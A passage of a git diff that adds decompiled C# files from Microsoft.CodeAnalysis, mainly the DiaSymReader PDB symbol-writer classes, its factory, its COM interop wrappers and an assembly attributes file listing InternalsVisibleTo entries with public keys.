+ } + } + + private void Clear() + { + _currentDocumentIndex = -1; + _count = 0; + } + + public void Add(int documentIndex, int offset, int startLine, int startColumn, int endLine, int endColumn) + { + if (documentIndex < 0) + { + throw new ArgumentOutOfRangeException("documentIndex"); + } + if (_currentDocumentIndex != documentIndex) + { + if (_currentDocumentIndex != -1) + { + Flush(); + } + _currentDocumentIndex = documentIndex; + } + int num = _count++; + EnsureCapacity(_count); + _offsets[num] = offset; + _startLines[num] = startLine; + _startColumns[num] = startColumn; + _endLines[num] = endLine; + _endColumns[num] = endColumn; + } + + public void Flush() + { + if (_count > 0) + { + _writer.DefineSequencePoints(_currentDocumentIndex, _count, _offsets, _startLines, _startColumns, _endLines, _endColumns); + } + Clear(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriter.cs new file mode 100644 index 0000000..ab9c58a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriter.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Microsoft.DiaSymReader; + +internal abstract class SymUnmanagedWriter : IDisposable +{ + public abstract int DocumentTableCapacity { get; set; } + + public abstract void Dispose(); + + public abstract IEnumerable> GetUnderlyingData(); + + public abstract void WriteTo(Stream stream); + + public abstract int DefineDocument(string name, Guid language, Guid vendor, Guid type, Guid algorithmId, ReadOnlySpan checksum, ReadOnlySpan source); + + public abstract void DefineSequencePoints(int documentIndex, int count, int[] offsets, int[] startLines, int[] startColumns, int[] endLines, int[] endColumns); + + public abstract void OpenMethod(int methodToken); + + public abstract void CloseMethod(); + + public abstract void OpenScope(int startOffset); + + public abstract void CloseScope(int endOffset); + + public abstract void DefineLocalVariable(int index, string name, int attributes, int localSignatureToken); + + public abstract bool DefineLocalConstant(string name, object value, int constantSignatureToken); + + public abstract void UsingNamespace(string importString); + + public abstract void SetAsyncInfo(int moveNextMethodToken, int kickoffMethodToken, int catchHandlerOffset, ReadOnlySpan yieldOffsets, ReadOnlySpan resumeOffsets); + + public abstract void DefineCustomMetadata(byte[] metadata); + + public abstract void SetEntryPoint(int entryMethodToken); + + public abstract void UpdateSignature(Guid guid, uint stamp, int age); + + public abstract void GetSignature(out Guid guid, out uint stamp, out int age); + + public abstract void SetSourceServerData(byte[] data); + + public abstract void SetSourceLinkData(byte[] data); + + public abstract void OpenTokensToSourceSpansMap(); + + public abstract void MapTokenToSourceSpan(int token, int documentIndex, int startLine, int startColumn, int endLine, int endColumn); + + public abstract void CloseTokensToSourceSpansMap(); + + public virtual void AddCompilerInfo(ushort major, ushort minor, ushort build, ushort revision, string name) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterCreationOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterCreationOptions.cs new file mode 100644 index 0000000..87cb559 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterCreationOptions.cs @@ -0,0 +1,12 @@ +using System; + +namespace Microsoft.DiaSymReader; + +[Flags] +internal enum SymUnmanagedWriterCreationOptions +{ + Default = 0, + UseAlternativeLoadPath = 2, + UseComRegistry = 4, + Deterministic = 8 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterException.cs new file mode 100644 index 0000000..821107e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterException.cs @@ -0,0 +1,33 @@ +using System; + +namespace Microsoft.DiaSymReader; + +internal sealed class SymUnmanagedWriterException : Exception +{ + public string ImplementationModuleName { get; } + + public SymUnmanagedWriterException() + { + } + + public SymUnmanagedWriterException(string message) + : base(message) + { + } + + public SymUnmanagedWriterException(string message, Exception innerException) + : base(message, innerException) + { + } + + public SymUnmanagedWriterException(string message, Exception innerException, string implementationModuleName) + : base(message, innerException) + { + ImplementationModuleName = implementationModuleName; + } + + internal SymUnmanagedWriterException(Exception innerException, string implementationModuleName) + : this(innerException.Message, innerException, implementationModuleName) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterFactory.cs new file mode 100644 index 0000000..174d497 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterFactory.cs @@ -0,0 +1,51 @@ +using System; + +namespace Microsoft.DiaSymReader; + +internal static class SymUnmanagedWriterFactory +{ + public static SymUnmanagedWriter CreateWriter(ISymWriterMetadataProvider metadataProvider, SymUnmanagedWriterCreationOptions options = SymUnmanagedWriterCreationOptions.Default) + { + if (metadataProvider == null) + { + throw new ArgumentNullException("metadataProvider"); + } + string moduleName; + Exception loadException; + object obj = SymUnmanagedFactory.CreateObject(createReader: false, (options & SymUnmanagedWriterCreationOptions.UseAlternativeLoadPath) != 0, (options & SymUnmanagedWriterCreationOptions.UseComRegistry) != 0, out moduleName, out loadException); + if (obj == null) + { + if (loadException is DllNotFoundException) + { + throw loadException; + } + throw new DllNotFoundException(loadException.Message, loadException); + } + if (!(obj is ISymUnmanagedWriter5 symUnmanagedWriter)) + { + throw new SymUnmanagedWriterException(new NotSupportedException(), moduleName); + } + object emitter = new SymWriterMetadataAdapter(metadataProvider); + ComMemoryStream comMemoryStream = new ComMemoryStream(); + try + { + if ((options & SymUnmanagedWriterCreationOptions.Deterministic) != SymUnmanagedWriterCreationOptions.Default) + { + if (!(obj is ISymUnmanagedWriter8 symUnmanagedWriter2)) + { + throw new NotSupportedException(); + } + symUnmanagedWriter2.InitializeDeterministic(emitter, comMemoryStream); + } + else + { + symUnmanagedWriter.Initialize(emitter, "filename.pdb", comMemoryStream, fullBuild: true); + } + } + catch (Exception innerException) + { + throw new SymUnmanagedWriterException(innerException, moduleName); + } + return new SymUnmanagedWriterImpl(comMemoryStream, symUnmanagedWriter, moduleName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterImpl.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterImpl.cs new file mode 100644 index 0000000..53623aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedWriterImpl.cs @@ -0,0 +1,646 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; + +namespace Microsoft.DiaSymReader; + +internal sealed class SymUnmanagedWriterImpl : SymUnmanagedWriter +{ + private static readonly object s_zeroInt32 = 0; + + private ISymUnmanagedWriter5 _symWriter; + + private readonly ComMemoryStream _pdbStream; + + private readonly List _documentWriters; + + private readonly string _symWriterModuleName; + + private bool _disposed; + + public override int DocumentTableCapacity + { + get + { + return _documentWriters.Capacity; + } + set + { + if (value > _documentWriters.Count) + { + _documentWriters.Capacity = value; + } + } + } + + internal SymUnmanagedWriterImpl(ComMemoryStream pdbStream, ISymUnmanagedWriter5 symWriter, string symWriterModuleName) + { + _pdbStream = pdbStream; + _symWriter = symWriter; + _documentWriters = new List(); + _symWriterModuleName = symWriterModuleName; + } + + private ISymUnmanagedWriter5 GetSymWriter() + { + return _symWriter ?? throw _disposed ? new ObjectDisposedException("SymUnmanagedWriterImpl") : new InvalidOperationException(); + } + + private ISymUnmanagedWriter8 GetSymWriter8() + { + if (!(GetSymWriter() is ISymUnmanagedWriter8 result)) + { + throw PdbWritingException(new NotSupportedException()); + } + return result; + } + + private Exception PdbWritingException(Exception inner) + { + return new SymUnmanagedWriterException(inner, _symWriterModuleName); + } + + public override void WriteTo(Stream stream) + { + if (stream == null) + { + throw new ArgumentNullException("stream"); + } + CloseSymWriter(); + try + { + _pdbStream.CopyTo(stream); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void Dispose() + { + DisposeImpl(); + GC.SuppressFinalize(this); + } + + ~SymUnmanagedWriterImpl() + { + DisposeImpl(); + } + + private void DisposeImpl() + { + try + { + CloseSymWriter(); + } + catch + { + } + _disposed = true; + } + + private void CloseSymWriter() + { + ISymUnmanagedWriter5 symUnmanagedWriter = Interlocked.Exchange(ref _symWriter, null); + if (symUnmanagedWriter == null) + { + return; + } + try + { + symUnmanagedWriter.Close(); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + finally + { + _documentWriters.Clear(); + } + } + + public override IEnumerable> GetUnderlyingData() + { + GetSymWriter().Commit(); + return _pdbStream.GetChunks(); + } + + public unsafe override int DefineDocument(string name, Guid language, Guid vendor, Guid type, Guid algorithmId, ReadOnlySpan checksum, ReadOnlySpan source) + { + if (name == null) + { + throw new ArgumentNullException("name"); + } + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + int count = _documentWriters.Count; + ISymUnmanagedDocumentWriter symUnmanagedDocumentWriter; + try + { + symUnmanagedDocumentWriter = symWriter.DefineDocument(name, ref language, ref vendor, ref type); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + _documentWriters.Add(symUnmanagedDocumentWriter); + if (algorithmId != default(Guid) && checksum.Length > 0) + { + try + { + fixed (byte* checkSum = checksum) + { + symUnmanagedDocumentWriter.SetCheckSum(algorithmId, (uint)checksum.Length, checkSum); + } + } + catch (Exception inner2) + { + throw PdbWritingException(inner2); + } + } + if (source != null) + { + try + { + fixed (byte* source2 = source) + { + symUnmanagedDocumentWriter.SetSource((uint)source.Length, source2); + } + } + catch (Exception inner3) + { + throw PdbWritingException(inner3); + } + } + return count; + } + + public override void DefineSequencePoints(int documentIndex, int count, int[] offsets, int[] startLines, int[] startColumns, int[] endLines, int[] endColumns) + { + if (documentIndex < 0 || documentIndex >= _documentWriters.Count) + { + throw new ArgumentOutOfRangeException("documentIndex"); + } + if (offsets == null) + { + throw new ArgumentNullException("offsets"); + } + if (startLines == null) + { + throw new ArgumentNullException("startLines"); + } + if (startColumns == null) + { + throw new ArgumentNullException("startColumns"); + } + if (endLines == null) + { + throw new ArgumentNullException("endLines"); + } + if (endColumns == null) + { + throw new ArgumentNullException("endColumns"); + } + if (count < 0 || count > startLines.Length || count > startColumns.Length || count > endLines.Length || count > endColumns.Length) + { + throw new ArgumentOutOfRangeException("count"); + } + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.DefineSequencePoints(_documentWriters[documentIndex], count, offsets, startLines, startColumns, endLines, endColumns); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void OpenMethod(int methodToken) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.OpenMethod((uint)methodToken); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void CloseMethod() + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.CloseMethod(); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void OpenScope(int startOffset) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.OpenScope(startOffset); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void CloseScope(int endOffset) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.CloseScope(endOffset); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void DefineLocalVariable(int index, string name, int attributes, int localSignatureToken) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.DefineLocalVariable2(name, attributes, localSignatureToken, 1u, index, 0u, 0u, 0u, 0u); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override bool DefineLocalConstant(string name, object value, int constantSignatureToken) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + if (!(value is string value2)) + { + if (value is DateTime date) + { + try + { + symWriter.DefineConstant2(name, new VariantStructure(date), constantSignatureToken); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + return true; + } + try + { + DefineLocalConstantImpl(symWriter, name, value ?? s_zeroInt32, constantSignatureToken); + } + catch (Exception inner2) + { + throw PdbWritingException(inner2); + } + return true; + } + return DefineLocalStringConstant(symWriter, name, value2, constantSignatureToken); + } + + private unsafe void DefineLocalConstantImpl(ISymUnmanagedWriter5 symWriter, string name, object value, int constantSignatureToken) + { + VariantStructure value2 = default(VariantStructure); + Marshal.GetNativeVariantForObject(value, new IntPtr(&value2)); + symWriter.DefineConstant2(name, value2, constantSignatureToken); + } + + private bool DefineLocalStringConstant(ISymUnmanagedWriter5 symWriter, string name, string value, int constantSignatureToken) + { + int num; + if (!IsValidUnicodeString(value)) + { + byte[] bytes = Encoding.UTF8.GetBytes(value); + num = bytes.Length; + value = Encoding.UTF8.GetString(bytes, 0, bytes.Length); + } + else + { + num = Encoding.UTF8.GetByteCount(value); + } + num++; + if (num > 2032) + { + return false; + } + try + { + DefineLocalConstantImpl(symWriter, name, value, constantSignatureToken); + } + catch (ArgumentException) + { + return false; + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + return true; + } + + private static bool IsValidUnicodeString(string str) + { + int num = 0; + while (num < str.Length) + { + char c = str[num++]; + if (char.IsHighSurrogate(c)) + { + if (num >= str.Length || !char.IsLowSurrogate(str[num])) + { + return false; + } + num++; + } + else if (char.IsLowSurrogate(c)) + { + return false; + } + } + return true; + } + + public override void UsingNamespace(string importString) + { + if (importString == null) + { + throw new ArgumentNullException("importString"); + } + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.UsingNamespace(importString); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public unsafe override void SetAsyncInfo(int moveNextMethodToken, int kickoffMethodToken, int catchHandlerOffset, ReadOnlySpan yieldOffsets, ReadOnlySpan resumeOffsets) + { + if (yieldOffsets == null) + { + throw new ArgumentNullException("yieldOffsets"); + } + if (resumeOffsets == null) + { + throw new ArgumentNullException("resumeOffsets"); + } + if (yieldOffsets.Length != resumeOffsets.Length) + { + throw new ArgumentOutOfRangeException("yieldOffsets"); + } + if (!(GetSymWriter() is ISymUnmanagedAsyncMethodPropertiesWriter symUnmanagedAsyncMethodPropertiesWriter)) + { + return; + } + int length = yieldOffsets.Length; + if (length > 0) + { + int[] array = new int[length]; + for (int i = 0; i < length; i++) + { + array[i] = moveNextMethodToken; + } + try + { + fixed (int* yieldOffsets2 = yieldOffsets) + { + fixed (int* breakpointOffset = resumeOffsets) + { + fixed (int* breakpointMethod = array) + { + symUnmanagedAsyncMethodPropertiesWriter.DefineAsyncStepInfo(length, yieldOffsets2, breakpointOffset, breakpointMethod); + } + } + } + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + try + { + if (catchHandlerOffset >= 0) + { + symUnmanagedAsyncMethodPropertiesWriter.DefineCatchHandlerILOffset(catchHandlerOffset); + } + symUnmanagedAsyncMethodPropertiesWriter.DefineKickoffMethod(kickoffMethodToken); + } + catch (Exception inner2) + { + throw PdbWritingException(inner2); + } + } + + public unsafe override void DefineCustomMetadata(byte[] metadata) + { + if (metadata == null) + { + throw new ArgumentNullException("metadata"); + } + if (metadata.Length == 0) + { + return; + } + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + fixed (byte* data = metadata) + { + symWriter.SetSymAttribute(0u, "MD2", metadata.Length, data); + } + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void SetEntryPoint(int entryMethodToken) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.SetUserEntryPoint(entryMethodToken); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void UpdateSignature(Guid guid, uint stamp, int age) + { + ISymUnmanagedWriter8 symWriter = GetSymWriter8(); + try + { + symWriter.UpdateSignature(guid, stamp, age); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public unsafe override void SetSourceServerData(byte[] data) + { + if (data == null) + { + throw new ArgumentNullException("data"); + } + if (data.Length == 0) + { + return; + } + ISymUnmanagedWriter8 symWriter = GetSymWriter8(); + try + { + fixed (byte* data2 = data) + { + symWriter.SetSourceServerData(data2, data.Length); + } + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public unsafe override void SetSourceLinkData(byte[] data) + { + if (data == null) + { + throw new ArgumentNullException("data"); + } + if (data.Length == 0) + { + return; + } + ISymUnmanagedWriter8 symWriter = GetSymWriter8(); + try + { + fixed (byte* data2 = data) + { + symWriter.SetSourceLinkData(data2, data.Length); + } + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void OpenTokensToSourceSpansMap() + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.OpenMapTokensToSourceSpans(); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void MapTokenToSourceSpan(int token, int documentIndex, int startLine, int startColumn, int endLine, int endColumn) + { + if (documentIndex < 0 || documentIndex >= _documentWriters.Count) + { + throw new ArgumentOutOfRangeException("documentIndex"); + } + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.MapTokenToSourceSpan(token, _documentWriters[documentIndex], startLine, startColumn, endLine, endColumn); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public override void CloseTokensToSourceSpansMap() + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + try + { + symWriter.CloseMapTokensToSourceSpans(); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } + + public unsafe override void GetSignature(out Guid guid, out uint stamp, out int age) + { + ISymUnmanagedWriter5 symWriter = GetSymWriter(); + ImageDebugDirectory debugDirectory = default(ImageDebugDirectory); + uint dataCountPtr; + try + { + symWriter.GetDebugInfo(ref debugDirectory, 0u, out dataCountPtr, null); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + byte[] array = new byte[dataCountPtr]; + fixed (byte* data = array) + { + try + { + symWriter.GetDebugInfo(ref debugDirectory, dataCountPtr, out dataCountPtr, data); + } + catch (Exception inner2) + { + throw PdbWritingException(inner2); + } + } + byte[] array2 = new byte[16]; + Buffer.BlockCopy(array, 4, array2, 0, array2.Length); + guid = new Guid(array2); + ((IPdbWriter)symWriter).GetSignatureAge(out stamp, out age); + } + + public override void AddCompilerInfo(ushort major, ushort minor, ushort build, ushort revision, string name) + { + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (!(GetSymWriter() is ISymUnmanagedCompilerInfoWriter symUnmanagedCompilerInfoWriter)) + { + return; + } + try + { + symUnmanagedCompilerInfoWriter.AddCompilerInfo(major, minor, build, revision, name); + } + catch (Exception inner) + { + throw PdbWritingException(inner); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymWriterMetadataAdapter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymWriterMetadataAdapter.cs new file mode 100644 index 0000000..161f8b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymWriterMetadataAdapter.cs @@ -0,0 +1,82 @@ +using System; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +internal sealed class SymWriterMetadataAdapter : MetadataAdapterBase +{ + private readonly ISymWriterMetadataProvider _metadataProvider; + + public SymWriterMetadataAdapter(ISymWriterMetadataProvider metadataProvider) + { + _metadataProvider = metadataProvider; + } + + public unsafe override int GetTokenFromSig(byte* voidPointerSig, int byteCountSig) + { + return 285212672; + } + + public unsafe override int GetTypeDefProps(int typeDef, [Out] char* qualifiedName, int qualifiedNameBufferLength, [Out] int* qualifiedNameLength, [Out] TypeAttributes* attributes, [Out] int* baseType) + { + if (!_metadataProvider.TryGetTypeDefinitionInfo(typeDef, out var namespaceName, out var typeName, out var attributes2)) + { + return -2147024809; + } + if (qualifiedNameLength != null || qualifiedName != null) + { + InteropUtilities.CopyQualifiedTypeName(qualifiedName, qualifiedNameBufferLength, qualifiedNameLength, namespaceName, typeName); + } + if (attributes != null) + { + *attributes = attributes2; + } + return 0; + } + + public unsafe override int GetTypeRefProps(int typeRef, [Out] int* resolutionScope, [Out] char* qualifiedName, int qualifiedNameBufferLength, [Out] int* qualifiedNameLength) + { + throw new NotImplementedException(); + } + + public override int GetNestedClassProps(int nestedClass, out int enclosingClass) + { + if (!_metadataProvider.TryGetEnclosingType(nestedClass, out enclosingClass)) + { + return -2147467259; + } + return 0; + } + + public unsafe override int GetMethodProps(int methodDef, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] MethodAttributes* attributes, [Out] byte** signature, [Out] int* signatureLength, [Out] int* relativeVirtualAddress, [Out] MethodImplAttributes* implAttributes) + { + if (!_metadataProvider.TryGetMethodInfo(methodDef, out var methodName, out var declaringTypeToken)) + { + return -2147024809; + } + if (name != null || nameLength != null) + { + int num = Math.Min(methodName.Length, nameBufferLength - 1); + if (nameLength != null) + { + *nameLength = num; + } + if (name != null && nameBufferLength > 0) + { + char* ptr = name; + for (int i = 0; i < num; i++) + { + *ptr = methodName[i]; + ptr++; + } + *ptr = '\0'; + } + } + if (declaringTypeDef != null) + { + *declaringTypeDef = declaringTypeToken; + } + return 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/VariantPadding.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/VariantPadding.cs new file mode 100644 index 0000000..be2e63e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/VariantPadding.cs @@ -0,0 +1,8 @@ +namespace Microsoft.DiaSymReader; + +internal readonly struct VariantPadding +{ + public unsafe readonly byte* Data2; + + public unsafe readonly byte* Data3; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/VariantStructure.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/VariantStructure.cs new file mode 100644 index 0000000..060e743 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/VariantStructure.cs @@ -0,0 +1,36 @@ +using System; +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +[StructLayout(LayoutKind.Explicit)] +internal readonly struct VariantStructure +{ + [FieldOffset(0)] + private readonly short _type; + + [FieldOffset(8)] + private readonly long _longValue; + + [FieldOffset(8)] + private readonly VariantPadding _padding; + + [FieldOffset(0)] + private readonly decimal _decimalValue; + + [FieldOffset(8)] + private readonly bool _boolValue; + + [FieldOffset(8)] + private readonly long _intValue; + + [FieldOffset(8)] + private readonly double _doubleValue; + + public VariantStructure(DateTime date) + { + this = default(VariantStructure); + _longValue = date.Ticks; + _type = 7; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Properties/AssemblyInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..30de8dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Properties/AssemblyInfo.cs @@ -0,0 +1,70 @@ +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; +using System.Security; +using System.Security.Permissions; + +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.ExpressionEvaluator.ExpressionCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.ExpressionEvaluator.ExpressionCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.ExpressionEvaluator.ExpressionCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("csc, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("csi, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("BuildValidator, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Rebuild, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Scripting, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Scripting, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Scripting, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("vbc, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("vbi, 